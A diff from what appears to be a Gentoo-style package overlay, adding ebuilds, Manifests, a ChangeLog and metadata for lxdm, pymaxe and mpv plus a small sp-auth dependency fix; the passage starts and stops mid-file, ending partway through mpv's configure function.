+ nls? ( sys-devel/gettext )
+ pam? ( virtual/pam )"
+DEPEND="${RDEPEND}
+ >=dev-util/intltool-0.40
+ virtual/pkgconfig"
+
+src_prepare() {
+ # Upstream bug, tarball contains pre-made lxdm.conf
+ epatch "${FILESDIR}"/"${P}"-rogentos-conf.patch
+ rm "${S}"/data/lxdm.conf || die
+
+ # There is consolekit
+ epatch "${FILESDIR}/${P}-pam_console-disable.patch"
+ # Fix null pointer dereference, backported from git
+ epatch "${FILESDIR}/${P}-git-fix-null-pointer-deref.patch"
+
+ # Sabayon specific theme patch
+ epatch "${FILESDIR}/${P}-rogentos-1-theme.patch"
+ # Fix sessions with arguments, see:
+ # http://lists.sabayon.org/pipermail/devel/2012-January/007582.html
+ epatch "${FILESDIR}/${P}-fix-session-args.patch"
+
+ epatch "${FILESDIR}"/${P}-configure-add-pam.patch
+
+ # 403999
+ epatch "${FILESDIR}"/${P}-missing-pam-defines.patch
+
+ # 412025
+ epatch "${FILESDIR}"/${P}-event-check.patch
+
+ # 393329 Selinux support
+ epatch "${FILESDIR}"/${P}-selinux-support.patch
+
+ # See https://bugs.launchpad.net/ubuntu/+source/lxdm/+bug/922363
+ epatch "${FILESDIR}/${P}-fix-pam-100-cpu.patch"
+
+ # Optional Consolekit support. bug #443666
+ epatch "${FILESDIR}"/${P}-optional-consolekit.patch
+
+ # 469512
+ epatch "${FILESDIR}"/${P}-fix-optional-pam.patch
+
+ # this replaces the bootstrap/autogen script in most packages
+ eautoreconf
+
+ # process LINGUAS
+ if use nls; then
+ einfo "Running intltoolize ..."
+ intltoolize --force --copy --automake || die
+ strip-linguas -i "${S}/po" || die
+ fi
+}
+src_configure() {
+ econf --enable-password \
+ --with-x \
+ --with-xconn=xcb \
+ $(use_enable consolekit) \
+ $(use_enable gtk3) \
+ $(use_enable nls) \
+ $(use_enable debug) \
+ $(use_with pam)
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die
+ dodoc AUTHORS README TODO || die
+ systemd_dounit "${FILESDIR}"/${PN}.service
+}
+
+pkg_postinst() {
+ echo
+ elog "Take into consideration that LXDM is in the early stages of development!"
+ echo
+}
diff --git a/media-sound/pymaxe/Manifest b/media-sound/pymaxe/Manifest
new file mode 100644
index 00000000..faeb836e
--- /dev/null
+++ b/media-sound/pymaxe/Manifest
@@ -0,0 +1 @@
+DIST pymaxe.tar.gz 195654 SHA256 3532b56bf3fbf9188f81684cb4148099ea9fbb870234495dcdef095933724c36 SHA512 6f9bbdf2fe3b63cd1186c64716303a75dc1a69378cddca76abb5003ccd95d01741d637a36f6272c5377149c3517e2fb1fa105977e9b46bedf1e1ea81e9394471 WHIRLPOOL e7ce1674aa0cb5ed521beb04117d81401f9e6cd461eb7d60c3e5d4daaff3269abecedd95403fa924b3242a3b94b4331819e7e2478c891f7ba83c1139701f0d84
diff --git a/media-sound/pymaxe/pymaxe-0.60.ebuild b/media-sound/pymaxe/pymaxe-0.60.ebuild
new file mode 100644
index 00000000..bfb22a70
--- /dev/null
+++ b/media-sound/pymaxe/pymaxe-0.60.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils
+
+DESCRIPTION="Pymaxe is an easy to use and open-source application which lets you download music or videos from some media-sharing websites, such as YouTube, Trilulilu or 4shared"
+HOMEPAGE="http://pymaxe.com"
+SRC_URI="http://pymaxe.com/files/latest/${PN}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="media-video/mplayer2
+ media-video/vlc
+ virtual/ffmpeg
+ dev-python/pygtk
+ media-libs/gst-plugins-ugly
+ media-plugins/gst-plugins-ffmpeg
+ media-plugins/gst-plugins-meta"
+DEPEND=""
+
+S="${WORKDIR}"
+
+
+src_install() {
+ cd "${S}"
+ doins -r "${S}"/usr || die
+ fperms 755 /usr/bin/${PN} || die
+}
diff --git a/media-tv/sp-auth/sp-auth-3.2.6.ebuild b/media-tv/sp-auth/sp-auth-3.2.6.ebuild
index e2d411dc..9ebd34a0 100644
--- a/media-tv/sp-auth/sp-auth-3.2.6.ebuild
+++ b/media-tv/sp-auth/sp-auth-3.2.6.ebuild
@@ -20,7 +20,7 @@ RESTRICT="strip"
# All dependencies might not be listed, since the binary blob's homepage only lists libstdc
RDEPEND="amd64? ( app-emulation/emul-linux-x86-compat )
- x86? ( >=virtual/libstdc-3.3 )"
+ x86? ( >=virtual/libstdc++-3.3 )"
DEPEND="${RDEPEND}"
diff --git a/media-video/mpv/ChangeLog b/media-video/mpv/ChangeLog
new file mode 100644
index 00000000..a10f3fd9
--- /dev/null
+++ b/media-video/mpv/ChangeLog
@@ -0,0 +1,260 @@
+# ChangeLog for media-video/mpv
+# Copyright 1999-2014 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/mpv/ChangeLog,v 1.58 2014/02/13 17:45:33 tomwij Exp $
+
+*mpv-0.3.5 (13 Feb 2014)
+
+ 13 Feb 2014; Tom Wijsman <TomWij@gentoo.org> +mpv-0.3.5.ebuild:
+ Version bump to 0.3.5, proxied commit for Nikoli.
+
+*mpv-0.3.4 (01 Feb 2014)
+
+ 01 Feb 2014; Tom Wijsman <TomWij@gentoo.org> +mpv-0.3.4.ebuild:
+ Version bump to 0.3.4, proxied commit for Nikoli.
+
+ 25 Jan 2014; Tomáš Chvátal <scarabeus@gentoo.org> -mpv-0.3.2.ebuild,
+ mpv-0.2.4.ebuild, mpv-0.3.3.ebuild, mpv-9999.ebuild:
+ Use subslot deps on libass. Proxy for nikoli. Remove the 0.3.2 as there is no
+ reason for keeping.
+
+ 25 Jan 2014; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Update sdl switch to match the new name.
+
+*mpv-0.3.3 (16 Jan 2014)
+
+ 16 Jan 2014; Michael Weber <xmw@gentoo.org> +mpv-0.3.3.ebuild,
+ -mpv-0.3.1.ebuild:
+ Version bump (proied commit by Nikoli)
+
+ 08 Jan 2014; Tom Wijsman <TomWij@gentoo.org> mpv-9999.ebuild:
+ Upstream is now using rst2pdf instead of LaTeX, updated 9999 ebuild; proxied
+ commit for Nikoli.
+
+ 08 Jan 2014; Tom Wijsman <TomWij@gentoo.org> -mpv-0.1.7.ebuild,
+ -mpv-0.2.3.ebuild:
+ Remove old, proxied commit for Nikoli.
+
+*mpv-0.3.2 (07 Jan 2014)
+
+ 07 Jan 2014; Tom Wijsman <TomWij@gentoo.org> +mpv-0.3.2.ebuild:
+ Version bump to 0.3.2, proxied commit for Nikoli.
+
+*mpv-0.3.1 (03 Jan 2014)
+
+ 03 Jan 2014; Jason A. Donenfeld <zx2c4@gentoo.org> +mpv-0.3.1.ebuild,
+ -mpv-0.3.0.ebuild:
+ Version bump for tiny bug fixes.
+
+ 31 Dec 2013; Sergey Popov <pinkbyte@gentoo.org> mpv-0.3.0.ebuild,
+ mpv-9999.ebuild:
+ Adjust dependencies, thanks to Nikoli <nikoli AT gmx.us>
+
+*mpv-0.3.0 (29 Dec 2013)
+
+ 29 Dec 2013; Tom Wijsman <TomWij@gentoo.org> +mpv-0.3.0.ebuild,
+ mpv-9999.ebuild:
+ Version bump to 0.3.0, proxied commit for Nikoli.
+
+ 28 Dec 2013; Maxim Koltsov <maksbotan@gentoo.org> mpv-9999.ebuild:
+ Update DOCS in 9999, thanks to Nikoli
+
+ 17 Dec 2013; Tom Wijsman <TomWij@gentoo.org> metadata.xml, mpv-9999.ebuild:
+ Updated live ebuild to cover changes to lircc and caca dependencies, added
+ dvdnav USE flag; fixed bug #494042, proxied commit for Nikoli.
+
+*mpv-0.2.4 (02 Dec 2013)
+
+ 02 Dec 2013; Tim Harder <radhermit@gentoo.org> -mpv-0.2.1.ebuild,
+ -mpv-0.2.2.ebuild, +mpv-0.2.4.ebuild:
+ Version bump and remove old (proxied for Nikoli).
+
+ 30 Nov 2013; Tom Wijsman <TomWij@gentoo.org> mpv-9999.ebuild:
+ Use simplified configure option for disabling/enabling libquvi support.,
+ proxied commit for Nikoli.
+
+ 29 Nov 2013; Sergey Popov <pinkbyte@gentoo.org> mpv-9999.ebuild:
+ Update live ebuild, thanks to Nikoli
+
+ 27 Nov 2013; Sergey Popov <pinkbyte@gentoo.org> mpv-9999.ebuild:
+ Remove workaround for building with gcc's PIE per
+ upstream(https://github.com/mpv-player/mpv/issues/361), thanks to Nikoli
+
+ 22 Nov 2013; Tom Wijsman <TomWij@gentoo.org> mpv-9999.ebuild:
+ Upstream migrated to waf, migrate 9999 ebuild to git-r3 and made it use https;
+ proxied commit for Nikoli.
+
+*mpv-0.2.3 (16 Nov 2013)
+
+ 16 Nov 2013; Tom Wijsman <TomWij@gentoo.org> +mpv-0.2.3.ebuild, metadata.xml,
+ mpv-9999.ebuild:
+ Version bump to 0.2.3, changed mp3 USE flag to mpg123 and restricted mpg123
+ dependency version; also corrected v4l USE flag and added dependency for it on
+ 9999 version. Proxied commit for Nikoli.
+
+ 11 Nov 2013; Tom Wijsman <TomWij@gentoo.org> mpv-9999.ebuild:
+ Removed support for mng from 9999 as upstream removed support for it, proxied
+ commit for Nikoli.
+
+ 03 Nov 2013; Tom Wijsman <TomWij@gentoo.org> -mpv-0.1.6.ebuild:
+ Removed 0.1.6, proxied commit for Nikoli.
+
+*mpv-0.2.2 (03 Nov 2013)
+
+ 03 Nov 2013; Ben de Groot <yngwin@gentoo.org> +mpv-0.2.2.ebuild:
+ version bump
+
+*mpv-0.2.1 (20 Oct 2013)
+
+ 20 Oct 2013; Tom Wijsman <TomWij@gentoo.org> +mpv-0.2.1.ebuild,
+ -mpv-0.2.0.ebuild:
+ VDPAU is broken in 0.2.0, removed 0.2.0 and version bump to 0.2.1; proxied
+ commit for Nikli.
+
+ 19 Oct 2013; Tom Wijsman <TomWij@gentoo.org> mpv-0.1.6.ebuild,
+ mpv-0.1.7.ebuild, mpv-0.2.0.ebuild, mpv-9999.ebuild:
+ Playing things with quvi need libav or ffmpeg with networking support, proxied
+ commit for Nikoli.
+
+ 18 Oct 2013; Tom Wijsman <TomWij@gentoo.org> mpv-9999.ebuild:
+ Upstream removed support for gettext, removed localedir configure parameter as
+ it is no longer recognized; proxied commit for Nikoli.
+
+ 18 Oct 2013; Jeroen Roovers <jer@gentoo.org> mpv-0.1.6.ebuild,
+ mpv-0.1.7.ebuild, mpv-0.2.0.ebuild, mpv-9999.ebuild:
+ Drop HPPA keywording (bug #488318).
+
+ 17 Oct 2013; Tom Wijsman <TomWij@gentoo.org> mpv-0.2.0.ebuild,
+ mpv-9999.ebuild:
+ Fix up a typo in the luajit conditional configure flag, proxied commit for
+ Nikoli; fixes bug #488348.
+
+ 17 Oct 2013; Jeroen Roovers <jer@gentoo.org> mpv-0.2.0.ebuild:
+ Drop ~hppa for now (bug #488318).
+
+*mpv-0.2.0 (16 Oct 2013)
+
+ 16 Oct 2013; Tom Wijsman <TomWij@gentoo.org> +mpv-0.2.0.ebuild,
+ mpv-9999.ebuild:
+ Version bump to 0.2.0, LICENSE recently switched from GPL-3 to GPL-2; proxied
+ commit for Nikoli, fixes bug #488254.
+
+ 05 Oct 2013; Alexander Vershilov <qnikst@gentoo.org> metadata.xml,
+ mpv-9999.ebuild:
+ add lua flag (request and patches by Nikoli)
+
+ 30 Sep 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Drop AUTHORS file, no longer distributed.
+
+*mpv-0.1.7 (22 Sep 2013)
+
+ 22 Sep 2013; Tom Wijsman <TomWij@gentoo.org> +mpv-0.1.7.ebuild:
+ Version bump to 0.1.7, proxied commit for Nikoli.
+
+ 21 Sep 2013; Tom Wijsman <TomWij@gentoo.org> metadata.xml, mpv-9999.ebuild:
+ Added doc-pdf USE flag and removed aqua USE flag, proxied commit for Nikoli.
+
+*mpv-0.1.6 (15 Sep 2013)
+
+ 15 Sep 2013; Tomáš Chvátal <scarabeus@gentoo.org> +mpv-0.1.6.ebuild,
+ -mpv-0.1.3.ebuild, -mpv-0.1.4.ebuild, -mpv-0.1.5.ebuild:
+ Bump again to latest mpv tagged release. Drop older.
+
+*mpv-0.1.5 (09 Sep 2013)
+
+ 09 Sep 2013; Sergey Popov <pinkbyte@gentoo.org> +mpv-0.1.5.ebuild:
+ Version bump, thanks to Nikoli
+
+ 02 Sep 2013; Sergey Popov <pinkbyte@gentoo.org> metadata.xml:
+ Change maintainer's email address
+
+*mpv-0.1.4 (02 Sep 2013)
+
+ 02 Sep 2013; Sergey Popov <pinkbyte@gentoo.org> +mpv-0.1.4.ebuild:
+ Version bump, wrt bug #481118
+
+ 02 Sep 2013; Sergey Popov <pinkbyte@gentoo.org> mpv-9999.ebuild,
+ metadata.xml:
+ Add VAAPI support via USE-flag, wrt bug #481118
+
+*mpv-0.1.3 (25 Aug 2013)
+
+ 25 Aug 2013; Tomáš Chvátal <scarabeus@gentoo.org> +mpv-0.1.3.ebuild,
+ -mpv-0.1.2.ebuild:
+ Bump to 0.1.3, drop 0.1.2.
+
+*mpv-0.1.2 (19 Aug 2013)
+
+ 19 Aug 2013; Tomáš Chvátal <scarabeus@gentoo.org> +mpv-0.1.2.ebuild,
+ -mpv-0_p20130715.ebuild, mpv-9999.ebuild:
+ Version bump to 0.1.2 release, remove older.
+
+ 11 Aug 2013; Alexis Ballier <aballier@gentoo.org> mpv-0_p20130715.ebuild,
+ mpv-9999.ebuild:
+ depend on ffmpeg:0=
+
+ 19 Jul 2013; Tom Wijsman <TomWij@gentoo.org> metadata.xml:
+ Clean up of metadata.xml. Do not express assignment in description for normal
+ situations, just list the to be assigned maintainer first as our scripts pick
+ up that one and we don't want to manually correct this every time; herds also
+ maintain a package, so they don't need to be listed twice.
+
+ 17 Jul 2013; Tom Wijsman <TomWij@gentoo.org> mpv-0_p20130715.ebuild,
+ mpv-9999.ebuild:
+ Made ffmpeg dependency consistent; that way, it doesn't satisfy and block
+ itself at the same time if the user has a lower version installed. Discovered
+ in topic #964594 on the Gentoo Forums.
+
+*mpv-0_p20130715 (15 Jul 2013)
+
+ 15 Jul 2013; Luca Barbato <lu_zero@gentoo.org> +mpv-0_p20130715.ebuild,
+ mpv-9999.ebuild:
+ First snapshot and live ebuild update thanks to Nikoli
+
+ 09 Jul 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Do not enable debug by default. Patch from Nikoli.
+
+ 09 Jul 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Few fixes from nikoli. Put ffmpeg deps on top. Use subslot on libav.
+
+ 08 Jul 2013; Tom Wijsman <TomWij@gentoo.org> mpv-9999.ebuild:
+ Proxy commit by Nikoli: Explicitly depend on libav-9 and ffmpeg-1.2 instead of
+ virtual/ffmpeg-9, fixes bug #476222. Remove warning about CFLAGS and LDFLAGS,
+ we now append our flags instead of replacing upstream's flags. Removed some
+ configure options which upstream no longer provides, some USE flag behavior
+ was changed as a result. USE flag radio now has correct dependencies, it no
+ longer depends on oss; added threads USE flag.
+
+ 08 Jul 2013; Tomáš Chvátal <scarabeus@gentoo.org> metadata.xml:
+ Fix repoman warning.
+
+ 08 Jul 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Remove networking code switches as the code was dropped.
+
+ 05 Jul 2013; Tomáš Chvátal <scarabeus@gentoo.org> metadata.xml,
+ mpv-9999.ebuild:
+ Add few new useflag and enable quvi by default. Thanks to Nikoli for coop.
+
+ 15 Jun 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Raise dep on libxbcommon. Thanks to Nikoli for patch.
+
+ 21 May 2013; Tim Harder <radhermit@gentoo.org> mpv-9999.ebuild:
+ Update DOCS with new readme filename (patch by Nikoli).
+
+ 16 May 2013; Tim Harder <radhermit@gentoo.org> mpv-9999.ebuild, metadata.xml:
+ Add vf-dlopen use flag (patch by Nikoli).
+
+ 28 Apr 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Update wayland useflag usage a bit. Patch by Nikoli.
+
+ 27 Apr 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Try to enable wayland stuff via useflag.
+
+ 27 Apr 2013; Tomáš Chvátal <scarabeus@gentoo.org> mpv-9999.ebuild:
+ Update bit. Patch by Nikoli.
+
+*mpv-9999 (27 Apr 2013)
+
+ 27 Apr 2013; Tomáš Chvátal <scarabeus@gentoo.org> +metadata.xml,
+ +mpv-9999.ebuild:
+ Add mpv package which is another mplayer fork. Only live for now snapshots to
+ be added after ffmpeg9 virtual is unmasked. Ebuild provided by Nikoli.
diff --git a/media-video/mpv/Manifest b/media-video/mpv/Manifest
new file mode 100644
index 00000000..3d05da39
--- /dev/null
+++ b/media-video/mpv/Manifest
@@ -0,0 +1,5 @@
+DIST mpv-0.2.4.tar.gz 2478152 SHA256 34a12a82b25bf3337d44c26dd8fa750746032c1a8806b85f6b8db652710827bf SHA512 72214d02fc459b1789831e54de2841ff0a8d83c97f1ba76b18d31e970372571569b45a036fe7e7e67d6fa9460f73216cc0f1e1e6149cb24a99c490d5cdfb5ec1 WHIRLPOOL 0cf700e38a2455d5c687b3f6a50e708bc145520e54b45923a465b7ed1e77b0ddd42d86d6a000b0d969506e4bca2973133c99f49db8281acff9fc02e649557141
+DIST mpv-0.3.3.tar.gz 2514706 SHA256 27d0b5ad65ba8056c5ce00bc441cf25b742cf46defcfd6ff597730f53ff2e61d SHA512 1a9e4de41e6215525ba0d195c8d2b9ebc76beea9c1792bfcf3e594219e614fc588134f1669bd7f6a898fa961e0e9c670309cc347c42733e69c9a2a1cadb4536b WHIRLPOOL b5dd879e0477eef6aa36ec003a7012e8364f3ccc05e068e9d59cb48c1e1803e33e5121138bbf1ca60b85c0c48c9293eb563e6e8cf20e11d812066f08af752166
+DIST mpv-0.3.4.tar.gz 2515466 SHA256 3e838a7a0bda448d335926954c7b9b9b0f0066ef10cea49813511fe378494cab SHA512 ad5fee608df74f31f4a5d369f68b4dfca1816f3eda62cc338beda16ff7e77619a17711759fd763aecbdb589597727e401b4f3a8daf5a9d30373199158685dd14 WHIRLPOOL 0e77fa912aef48efba0973aa858e535f9fd79a9d5cc72915745a23db7994018b3bd1a6bf6c95bbac9b3b0bf2f2672eaa3760df780cfa74fff3d74233f5d02d6d
+DIST mpv-0.3.5.tar.gz 2516492 SHA256 0d1506ad448e42cd7c8de15c7d6c23725b62db87f3d0c4029f5b8c523c995f30 SHA512 9dad2f83b3eaee05197c40b257ad0ab84367d6334faa2950ff51e65d435fd9a7798ad4347a26d66e67bd8d0265bd1cd202fd621447f5c9fe2545a2d88d99d937 WHIRLPOOL 409d38fa0206a5dbc1689c8f695c24ccaade0e2b484e1256b128d55282194e92bc38599afaa87c66f4157c4bf549aaa06c101265c9cdefeea0f60675b834d068
+DIST waf-1.7.13 90702 SHA256 03cc750049350ee01cdbc584b70924e333fcc17ba4a2d04648dab1535538a873 SHA512 4388cd200d86d9757db95a138d75655e419fd9372de1dc392025b2ecfb9a0cc95d0b17639689ac293b753355af4baea0fc700ddd5d419755facc4e1dfa009521 WHIRLPOOL db94ba365aa84927942e1d95079f9efe377e646dcb7183d6a80d4b57ebbe195d48d23b7688216bd0b793e2f914e1d83caae3b517e385f891a26f670ebc17ed05
diff --git a/media-video/mpv/metadata.xml b/media-video/mpv/metadata.xml
new file mode 100644
index 00000000..1f7093d6
--- /dev/null
+++ b/media-video/mpv/metadata.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>nikoli@gmx.us</email>
+</maintainer>
+<herd>video</herd>
+<herd>proxy-maintainers</herd>
+<use>
+ <flag name="bluray">Enable playback of Blu-ray filesystems</flag>
+ <flag name="bs2b">Enable Bauer stereophonic-to-binaural headphone filter</flag>
+ <flag name="cdio">Use libcdio for CD support (instead of cdparanoia)</flag>
+ <flag name='doc-pdf'>Build documentation in pdf format</flag>
+ <flag name='dvdnav'>Enable support for DVD navigation using <pkg>media-libs/dvdnav</pkg>.</flag>
+ <flag name="enca">Enables support for charset discovery and conversion using <pkg>app-i18n/enca</pkg></flag>
+ <flag name="libguess">Enables support for charset discovery and conversion using <pkg>app-i18n/libguess</pkg></flag>
+ <flag name="luajit">Use <pkg>dev-lang/luajit</pkg> instead of <pkg>dev-lang/lua</pkg></flag>
+ <flag name="mng">MNG input support</flag>
+ <flag name="mpg123">Enable support for mp3 decoding over <pkg>media-sound/mpg123</pkg> instead of relying on ffmpeg support.</flag>
+ <flag name="postproc">Enable image post-processing via libpostproc</flag>
+ <flag name="pvr">Enable Video4Linux2 MPEG PVR</flag>
+ <flag name="quvi">Enable support for streaming sites using <pkg>media-libs/libquvi</pkg></flag>
+ <flag name="radio">Enable V4L2 radio interface and support</flag>
+ <flag name="shm">Enable support for shm</flag>
+ <flag name="vaapi">Enable VAAPI (Video Acceleration API) for hardware decoding</flag>
+ <flag name="vf-dlopen">Install additional video filters for using with -vf dlopen</flag>
+</use>
+</pkgmetadata>
diff --git a/media-video/mpv/mpv-0.2.4.ebuild b/media-video/mpv/mpv-0.2.4.ebuild
new file mode 100644
index 00000000..8e19b4ef
--- /dev/null
+++ b/media-video/mpv/mpv-0.2.4.ebuild
@@ -0,0 +1,321 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/mpv/mpv-0.2.4.ebuild,v 1.2 2014/01/25 13:29:24 scarabeus Exp $
+
+EAPI=5
+
+EGIT_REPO_URI="git://github.com/mpv-player/mpv.git"
+
+inherit toolchain-funcs flag-o-matic multilib base pax-utils
+[[ ${PV} == *9999* ]] && inherit git-2
+
+DESCRIPTION="Video player based on MPlayer/mplayer2"
+HOMEPAGE="http://mpv.io/"
+[[ ${PV} == *9999* ]] || \
+SRC_URI="https://github.com/mpv-player/mpv/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+[[ ${PV} == *9999* ]] || \
+KEYWORDS="~alpha ~amd64 ~arm ~ppc ~ppc64 ~sparc ~x86 ~amd64-linux"
+IUSE="+alsa bluray bs2b +cdio -doc-pdf dvb +dvd +enca encode +iconv jack -joystick
+jpeg ladspa lcms +libass libcaca libguess lirc lua luajit mng +mpg123 -openal +opengl oss
+portaudio +postproc pulseaudio pvr +quvi -radio samba +shm +threads v4l vaapi
+vcd vdpau vf-dlopen wayland +X xinerama +xscreensaver +xv"
+
+REQUIRED_USE="
+ enca? ( iconv )
+ lcms? ( opengl )
+ libguess? ( iconv )
+ luajit? ( lua )
+ opengl? ( || ( wayland X ) )
+ portaudio? ( threads )
+ pvr? ( v4l )
+ radio? ( v4l || ( alsa oss ) )
+ v4l? ( threads )
+ vaapi? ( X )
+ vdpau? ( X )
+ wayland? ( opengl )
+ xinerama? ( X )
+ xscreensaver? ( X )
+ xv? ( X )
+"
+
+RDEPEND+="
+ || (
+ >=media-video/libav-9:=[encode?,threads?,vaapi?,vdpau?]
+ >=media-video/ffmpeg-1.2:0=[encode?,threads?,vaapi?,vdpau?]
+ )
+ sys-libs/ncurses
+ sys-libs/zlib
+ X? (
+ x11-libs/libXext
+ x11-libs/libXxf86vm
+ opengl? ( virtual/opengl )
+ lcms? ( media-libs/lcms:2 )
+ vaapi? ( x11-libs/libva[X(+)] )
+ vdpau? ( x11-libs/libvdpau )
+ xinerama? ( x11-libs/libXinerama )
+ xscreensaver? ( x11-libs/libXScrnSaver )
+ xv? ( x11-libs/libXv )
+ )
+ alsa? ( media-libs/alsa-lib )
+ bluray? ( media-libs/libbluray )
+ bs2b? ( media-libs/libbs2b )
+ cdio? (
+ || (
+ dev-libs/libcdio-paranoia
+ <dev-libs/libcdio-0.90[-minimal]
+ )
+ )
+ dvb? ( virtual/linuxtv-dvb-headers )
+ dvd? ( >=media-libs/libdvdread-4.1.3 )
+ enca? ( app-i18n/enca )
+ iconv? ( virtual/libiconv )
+ jack? ( media-sound/jack-audio-connection-kit )
+ jpeg? ( virtual/jpeg )
+ ladspa? ( media-libs/ladspa-sdk )
+ libass? (
+ >=media-libs/libass-0.9.10:=[enca?,fontconfig]
+ virtual/ttf-fonts
+ )
+ libcaca? ( media-libs/libcaca )
+ libguess? ( >=app-i18n/libguess-1.0 )
+ lirc? ( app-misc/lirc )
+ lua? (
+ !luajit? ( >=dev-lang/lua-5.1 )
+ luajit? ( dev-lang/luajit:2 )
+ )
+ mng? ( media-libs/libmng )
+ mpg123? ( media-sound/mpg123 )
+ openal? ( >=media-libs/openal-1.13 )
+ portaudio? ( >=media-libs/portaudio-19_pre20111121 )
+ postproc? (
+ || (
+ media-libs/libpostproc
+ >=media-video/ffmpeg-1.2:0[encode?,threads?,vaapi?,vdpau?]
+ )
+ )
+ pulseaudio? ( media-sound/pulseaudio )
+ quvi? (
+ >=media-libs/libquvi-0.4.1:=
+ || (
+ >=media-video/libav-9[network]
+ >=media-video/ffmpeg-1.2:0[network]
+ )
+ )
+ samba? ( net-fs/samba )
+ v4l? ( media-libs/libv4l )
+ wayland? (
+ >=dev-libs/wayland-1.0.0
+ media-libs/mesa[egl,wayland]
+ >=x11-libs/libxkbcommon-0.3.0
+ )
+"
+ASM_DEP="dev-lang/yasm"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ >=dev-lang/perl-5.8
+ dev-python/docutils
+ doc-pdf? (
+ dev-texlive/texlive-latex
+ dev-texlive/texlive-latexrecommended
+ dev-texlive/texlive-latexextra
+ dev-tex/xcolor
+ )
+ X? (
+ x11-proto/videoproto
+ x11-proto/xf86vidmodeproto
+ xinerama? ( x11-proto/xineramaproto )
+ xscreensaver? ( x11-proto/scrnsaverproto )
+ )
+ amd64? ( ${ASM_DEP} )
+ x86? ( ${ASM_DEP} )
+ x86-fbsd? ( ${ASM_DEP} )
+"
+DOCS=( Copyright README.md etc/example.conf etc/input.conf etc/encoding-example-profiles.conf )
+
+pkg_setup() {
+ if [[ ${PV} == *9999* ]]; then
+ elog
+ elog "This is a live ebuild which installs the latest from upstream's"
+ elog "git repository, and is unsupported by Gentoo."
+ elog "Everything but bugs in the ebuild itself will be ignored."
+ elog
+ fi
+
+ if use !libass; then
+ ewarn
+ ewarn "You've disabled the libass flag. No OSD or subtitles will be displayed."
+ fi
+
+ if use openal; then
+ ewarn
+ ewarn "You've enabled the openal flag. OpenAL is disabled by default,"
+ ewarn "because it supposedly inteferes with some other configure tests"
+ ewarn "and makes them fail silently."
+ fi
+
+ einfo "For additional format support you need to enable the support on your"
+ einfo "libavcodec/libavformat provider:"
+ einfo " media-video/libav or media-video/ffmpeg"
+}
+
+src_prepare() {
+ # fix path to bash executable in configure scripts
+ sed -i -e "1c\#!${EPREFIX}/bin/bash" \
+ configure version.sh || die
+
+ base_src_prepare
+}
+
+src_configure() {
+ local myconf=""
+ local uses i
+
+ # ebuild uses "use foo || --disable-foo" to forcibly disable
+ # compilation in almost every situation. The reason for this is
+ # because if --enable is used, it will force the build of that option,
+ # regardless of whether the dependency is available or not.
+
+ #####################
+ # Optional features #
+ #####################
+ # SDL output is fallback for platforms where nothing better is available
+ myconf+=" --disable-sdl --disable-sdl2"
+ use encode || myconf+=" --disable-encoding"
+ myconf+=" $(use_enable joystick)"
+ uses="bluray vcd"
+ for i in ${uses}; do
+ use ${i} || myconf+=" --disable-${i}"
+ done
+ use quvi || myconf+=" --disable-libquvi4 --disable-libquvi9"
+ use samba || myconf+=" --disable-smb"
+ use lirc || myconf+=" --disable-lirc --disable-lircc"
+ use lua || myconf+=" --disable-lua"
+ use luajit && myconf+=" --lua=luajit"
+ use doc-pdf || myconf+=" --disable-pdf"
+
+ ########
+ # CDDA #
+ ########
+ use cdio || myconf+=" --disable-libcdio"
+
+ ############
+ # DVD read #
+ ############
+ use dvd || myconf+=" --disable-dvdread"
+
+ #############
+ # Subtitles #
+ #############
+ uses="enca iconv libass libguess"
+ for i in ${uses}; do
+ use ${i} || myconf+=" --disable-${i}"
+ done
+
+ #####################################
+ # DVB / Video4Linux / Radio support #
+ #####################################
+ use dvb || myconf+=" --disable-dvb"
+ use pvr || myconf+=" --disable-pvr"
+ use v4l || myconf+=" --disable-libv4l2 --disable-tv --disable-tv-v4l2"
+ if use radio; then
+ myconf+=" --enable-radio --enable-radio-capture"
+ else
+ myconf+=" --disable-radio-v4l2"
+ fi
+
+ ##########
+ # Codecs #
+ ##########
+ uses="jpeg mng mpg123"
+ for i in ${uses}; do
+ use ${i} || myconf+=" --disable-${i}"
+ done
+
+ ################
+ # Video Output #
+ ################
+ use libcaca || myconf+=" --disable-caca"
+ use postproc || myconf+=" --disable-libpostproc"
+
+ ################
+ # Audio Output #
+ ################
+ myconf+=" --disable-rsound" # media-sound/rsound is in pro-audio overlay only
+ uses="alsa jack ladspa portaudio"
+ for i in ${uses}; do
+ use ${i} || myconf+=" --disable-${i}"
+ done
+ use bs2b || myconf+=" --disable-libbs2b"
+ use openal && myconf+=" --enable-openal"
+ use oss || myconf+=" --disable-ossaudio"
+ use pulseaudio || myconf+=" --disable-pulse"
+
+ ####################
+ # Advanced Options #
+ ####################
+ # keep build reproducible
+ myconf+=" --disable-build-date"
+ # do not add -g to CFLAGS
+ myconf+=" --disable-debug"
+ use threads || myconf+=" --disable-pthreads"
+
+ # Platform specific flags, hardcoded on amd64 (see below)
+ use shm || myconf+=" --disable-shm"
+
+ if use x86 && gcc-specs-pie; then
+ filter-flags -fPIC -fPIE
